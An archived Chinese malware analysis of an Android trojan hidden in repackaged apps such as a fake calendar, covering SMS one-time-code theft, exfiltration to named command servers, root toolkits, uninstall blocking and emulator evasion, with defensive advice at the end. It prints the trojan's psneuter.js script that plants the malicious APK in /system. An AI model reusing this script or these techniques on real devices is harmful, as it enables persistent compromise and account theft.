
        <html>
			<head>
			     <title>“伪万年历” Root Exploit恶意应用分析 - 阿里移动安全</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/9538">http://drops.wooyun.org/papers/9538</a></h1>
				
      <p>
        <p>作者：逆巴，<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="20c9a7aac6968f60c9b89fc9a7acc7879bc5aa88c58ea9c5a588">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script></p>

<h1>0x01 木马介绍</h1>

<hr />

<p>攻击者将木马制作成用户刚需应用，如色情类、生活服务类，或将恶意代码通过二次打包，注入到合法的应用当中，伪装成为合法应用，上传到android市场或某些论坛，诱导用户下载。一旦用户下载运行了此类应用，木马通过云端推送root 工具包，以及恶意应用；通过短信提取动态密码，第一时间发送给木马作者，直接造成财产损失、隐私泄露等；木马创建不死服务，后台root设备，成功root后将 恶意应用植入系统分区，用户即使恢复出厂设置也无法完全卸载木马。具体执行过程如下图：</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205054681610116.png" alt="" /></p>

<!--more-->

<p><strong>图木马执行流程</strong></p>

<p>被感染应用以及恶意样本数量过千类，以下列出“万年历，清涩笑话，特实惠, 魅力女生动态桌面，开心乐消消-欢乐版，内涵壁纸，开心乐消消，全网充话费，极致腿模，好听音乐，HoloTorch，情趣内涵电台，Accurate Battery，Super Silent，心情天气”</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205054980691216.png" alt="" /></p>

<p><strong>图木马图标</strong></p>

<h1>0x02 样本行为分析</h1>

<hr />

<p>样本存在大量变种，以下对“伪万年历”样本进行行为分析。木马将恶意代码打包入正常应用。启动“伪万年历”应用后，进入正常的日历界面，而应用的Application 类作为恶意代码入口点。</p>

<p><img src="http://static.wooyun.org//drops/20151012/201510120505523466533.jpg" alt="" /></p>

<p><strong>图“伪万年历”应用启动界面</strong></p>

<h2>2.1监听短信彩信，获取动态验证码</h2>

<p>提取短信中的动态密码，第一时间转发到指定号码并截断短信发送，这样用户将在不之情的情况下，大量账号被盗。拦截用户短信彩信，提取到的动态密码以及手机信息发送到云端服务器。直接造成财产损失，隐私泄露。</p>

<p>木马动态注册短信监听广播，通过类加载反射等技术进行具体的监控操作。当触发短信消息事件时,木马会动态加载myjar.jar，反射调用smscheck函数。</p>

<p><img src="http://static.wooyun.org//drops/20151012/201510120505542263145.png" alt="" /></p>

<p><strong>图动态注册广播监听短信消息</strong></p>

<p><img src="http://static.wooyun.org//drops/20151012/201510120505569076754.png" alt="" /></p>

<p><strong>图动态加载dex,反射调用smscheck函数</strong></p>

<p><img src="http://static.wooyun.org//drops/20151012/201510120505587419263.png" alt="" /></p>

<p><strong>图提取动态密码代码</strong></p>

<p>对smscheck函数分析，发现若拦截到的短信中存在动态密码，病毒会第一时间发送给指定号码，同时会将动态密码，以及当前手机信息作为参数post提交到云端服务器。<strong>也就是木马作者通过用户手机号码找回密码，这样轻松的盗取用户账号密码，而中马用户完全不知晓。</strong></p>

<p><img src="http://static.wooyun.org//drops/20151012/201510120506005158774.png" alt="" /></p>

<p><strong>图将动态密码发送到指定手机</strong></p>

<p><img src="http://static.wooyun.org//drops/20151012/201510120506024308984.png" alt="" /></p>

<p><strong>图将拦截到短信发送到指定服务器</strong></p>

<p>接下来过滤短信发送者，将短信内容，发送者手机号码，以及手机imsi等发post到指定服务器</p>

<p>跟踪发现服务器目录，存放了中马手机信息以及root手机的工具</p>

<p><img src="http://static.wooyun.org//drops/20151012/201510120506056135593.png" alt="" /></p>

<p><strong>图服务器目录文件</strong></p>

<h2>2.2启动LocationService</h2>

<h3>a 监听广播，触发云端交互，下载root 工具包和推广的恶意应用</h3>

<p>LocationService开启任务线程，在任务线程里动态注册广播，监听网络变化，屏幕唤醒锁屏，应用安装卸载跟新等，监控广播做为病毒行为触发点。获取手机信息做为post参数，上传到云端服务器。 （android.net.conn.CONNECTIVITY&#95;CHANGE，android.intent.action.USER&#95;PRESENT，android.intent.action.SCREEN&#95;OFF，android.intent.action.SCREEN&#95;ON，android.intent.action.PACKAGE&#95;ADDED，android.intent.action.PACKAGE&#95;CHANGED， android.intent.action.PACKAGE&#95;REPLACED，android.intent.action.PACKAGE&#95;REMOVED）</p>

<p>接下来对病毒下载云端root 工具的分析。木马首先向服务器post手机的imei、imsi、分辨率、手机号等基本信息，服务器返回加密的url指令，解码url获取下载Root手机所需的busybox、su、install-recovery.sh等工具</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205060624871103.png" alt="" /></p>

<p><strong>图post 手机信息到服务器(<code>http://api.wangyan9488.com:8285/api/getShell.jsp</code>),返回加密url</strong></p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205060858125117.png" alt="" /></p>

<p><strong>图服务器返回的加密url</strong></p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205061067491123.png" alt="" /></p>

<p><strong>图shellv5.jar 里的文件 root 工具包</strong></p>

<p>木马本地解密url，获取到root 工具下载源（http://222.21x.xxx.7:8661/apk/rootsheel/1438654068044948.jar），下载到手机后改名为“shellv5.jar”，其实是一压缩包</p>

<p>采用同样的过程下载root sdk，访问服务器http://api.wangyan9488.com:8287/api/getAttach.jsp，获取加密url</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205061495426134.png" alt="" /></p>

<p><strong>图加密root sdk url</strong></p>

<p>木马解密url，获取下载源(http://222.21x.xxx.x:8661/apk/dlapp/14386539787043206.jar)下载jar文件，下载到手机后改名为“dlv5.jar”。通过动态加载该文件中的dex文件，同时利用之前下载的工具获取Root权限，随后将同名文件名的apk文件植入到/system/app/下并安装。该apk伪装成系统“下载服务”，而自身是与母样本伪万年历相同行为的木马。</p>

<h3>b 强制激活设备管理，防止卸载</h3>

<p>利用设备管理器缺陷，在取消激活设备管理之前，DevicePolicyManagerService会调用应用的onDisableRequested方法获取取消激活的警示信息。下图可以发现病毒在发现取消激活时，会进行屏幕锁屏之后进入系统setting 页面，这样一旦用户激活设备将无法卸载。</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205061587858144.png" alt="" /></p>

<p><strong>图取消设备管理时屏幕锁屏</strong></p>

<h3>c 最后启动另外一个核心服务blueService</h3>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205061771735154.png" alt="" /></p>

<p><strong>图启动BlueService服务</strong></p>

<h2>2.3 blueService服务</h2>

<h3>a 强制安装ANDROID&#95;SCREEN&#95;ON_OFF.apk应用</h3>

<p>伪装成系统“下载管理”应用，同样通过post手机信息到云端服务器，get加密后的url，然后本地解密url获取下载推广的应用。同样的代码模块激活设备管理防止卸载。</p>

<p><img src="http://static.wooyun.org//drops/20151012/201510120506194862116.jpg" alt="" /></p>

<p><strong>图“下载管理”应用</strong></p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205062086153171.jpg" alt="" /></p>

<p><strong>图“下载管理”激活设备管理</strong></p>

<h3>b root 手机</h3>

<p>下图为BlueService服务的任务线程，红色框动态注册RootReciver，当网络发生变化或手机锁屏唤醒时，在后台尝试root。</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205062330938183.png" alt="" /></p>

<p><strong>图blueService服务任务线程代码</strong></p>

<p>检测14425728404326709.apk是否被安装，其实这是root之后安装到系统目录下的文件，root的最终目的就是将恶意应用植入system目录，伪装成系统应用，长期驻留用户设备。木马通过DexClassLoader加载云端配置的rootDex,随后反射调用getDex 函数进行root工作。下图动态加载dex,反射调用getDex</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205062658107194.png" alt="" /></p>

<p><strong>图动态加载dex,反射调用getDex</strong></p>

<p>将云端下载到sdcard/.xxx目录里的busybox,su 拷贝到应用文件目录，创建aa.xml文件表示开始进行root 工作。下图创建开始root文件</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205062713228204.png" alt="" /></p>

<p><strong>图创建开始root的flag文件</strong></p>

<p>将云端下载在xxx目录下的root 工具，拷贝到data/files目录下，并在files目录下创建psneuter.js</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205062994532217.png" alt="" /></p>

<p><strong>图拷贝root 工具</strong></p>

<p>root成功后将14425728404326709.apk 安装到system/app目录并启动该应用。动态拦截发现，本次分析下载的root sdk 工具包，应该是刷机大师的MTK ROOT方案。由于云端配置灵活，下载获取的root工具包灵活（根据手机版本等信息，下载不同root工具包）。</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205063155834224.png" alt="" /></p>

<p><strong>图root 手机代码</strong></p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205063376165232.png" alt="" /></p>

<p><strong>图动态拦截返回</strong></p>

<ol>
<li><code>suc f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh psneuter.js</code></li>
<li><code>suc al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh psneuter.js</code></li>
<li><code>suc HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh psneuter.js</code></li>
</ol>

<p>成功root后执行psneuter.js，木马将成功伪装成系统应用隐藏在用户手机，即使恢复出厂设置也无法卸载。</p>

<p>psneuter.js文件内容</p>

<pre><code>#!bash
#!/system/bin/sh
mount -o rw,remount /system
/data/local/tmp/busybox mount -o rw,remount /system
cat /data/local/tmp/14425728404326709.apk &gt; /system/app/14425728404326709.apk
chmod 0644 /system/app/14425728404326709.apk
pm install /system/app/14425728404326709.apk
mount -o ro,remount /system
/data/local/tmp/busybox mount -o ro,remount /system
echo "Now, script finish!”
</code></pre>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205063528939242.png" alt="" /></p>

<p><strong>图 root成功木马伪装系统软件“下载服务”</strong></p>

<h3>c 不死服务LocationService, BlueService</h3>

<p>只要保证两大核心服务LocationService，BlueService 不死，就可以一直在后台执行恶意代码。木马在启动核型服务LocationService,BlueService的同时，会注册守护广播，保证核心服务一直启动。</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205063764656252.png" alt="" /></p>

<p><strong>图启动LocationService服务同时注册守护广播</strong></p>

<p>守护服务的广播，通过监听屏幕开关、手机电量变化、时间更改，启动被保护的服务。</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205063956429263.png" alt="" /></p>

<p><strong>图守护广播监听的消息</strong></p>

<h1>0x03 变种追踪</h1>

<hr />

<p>该样本存在大量变种，且都是由LocationService,BlueService核心服务演变而来，从最开始的恶意应用推广到云端root sdk配置，升级到通过短信盗号，对抗杀软检测在native层检测运行环境等。</p>

<p>对变种木马“内涵壁纸”样本分析，首先在native层检查运行环境，若不是模拟器才启动恶意广播。这样有效的躲避了动态引擎检测，以及逆向分析人员分析。</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205064150044273.png" alt="" /></p>

<p><strong>图native层启动恶意广播</strong></p>

<p>模拟器检查，若木马运行环境在模拟器内，木马将不会启动恶意广播。模拟检查主要检查cpuinfo是否为goldfish，设备IDS是不是 “000000000000000”， imsi id是不是“310260000000000“，手机运营商等。</p>

<p><img src="http://static.wooyun.org//drops/20151012/2015101205064319260283.png" alt="" /></p>

<p><strong>图模拟器检测</strong></p>

<h1>0x04 建议和解决方案</h1>

<hr />

<ol>
<li><p>使用加固手段增加被恶意者二次打包的成本：如使用阿里聚安全应用加固方案，无需开发者修改源代码或者二次开发，通过加壳，加密，逻辑混淆，代码隐藏等各类应用加固方法，防止应用被逆向分析，反编译，以及二次打包嵌入各类病毒广告等恶意代码。</p></li>
<li><p>用户下载应用请到官方网站或安全应用市场，切勿点击任何色情链接，尤其是短信、QQ、微信等聊天工具中不熟识的“朋友”发来的链接。</p></li>
<li><p>如果不确定手机是否毒，可以安装阿里钱盾等手机安全软件，对手机上的应用进行检测，防止高风险恶意应用的安装。</p></li>
</ol>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          